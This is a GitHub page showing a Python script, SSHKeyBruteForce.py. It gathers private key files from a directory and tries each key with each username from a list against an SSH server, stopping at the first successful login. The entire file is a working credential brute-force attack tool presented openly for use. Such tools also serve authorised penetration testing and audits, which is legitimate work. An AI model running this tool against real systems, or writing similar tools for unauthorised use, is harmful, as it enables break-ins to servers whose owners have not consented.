-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathSSHKeyBruteForce.py
65 lines (57 loc) · 1.91 KB
/
SSHKeyBruteForce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
import argparse
import paramiko
import sys
import os
def test(target, username, key):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
print(' [+] Trying %s:%s' % (username, key))
ssh.connect(target, username=username, key_filename=key)
print(' [+] Success!')
sys.exit()
except paramiko.ssh_exception.SSHException:
pass
except ValueError:
print(' [-] Issue with key file. Probably unsupported keylength')
except KeyboardInterrupt:
ssh.close()
sys.exit(0)
except Exception as e:
print(' [-] Unknown issue with key')
print(' ' % e)
finally:
ssh.close()
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--target', '-t', type=str, required=True)
parser.add_argument('--users', '-u', type=str, required=True)
parser.add_argument('--keys', '-k', type=str, required=True)
args = parser.parse_args()
files_dir = []
keys = []
users_len = 0
print('[+] Building list of keys in \"%s\" directory' % args.keys)
for dirpath, subdirs, files in os.walk(args.keys):
files_dir.extend(os.path.join(dirpath, x) for x in files)
for f in files_dir:
with open(f) as keyfile:
try:
if ' PRIVATE KEY-----' in keyfile.readlines()[0]:
keys.append(f)
except (UnicodeDecodeError, IndexError):
pass
for line in open(args.users).readlines():
users_len += 1
print(' [+] Testing %s keys and %s users' % (len(keys), users_len))
print('[+] Starting attack')
for k in keys:
try:
for username in open(args.users).readlines():
test(args.target, username.strip(), k)
except Exception as e:
print(' [!] Unknown Key error. Skipping all usernames for %s' % k)
print(' %s' % e)
if __name__ == '__main__':
main()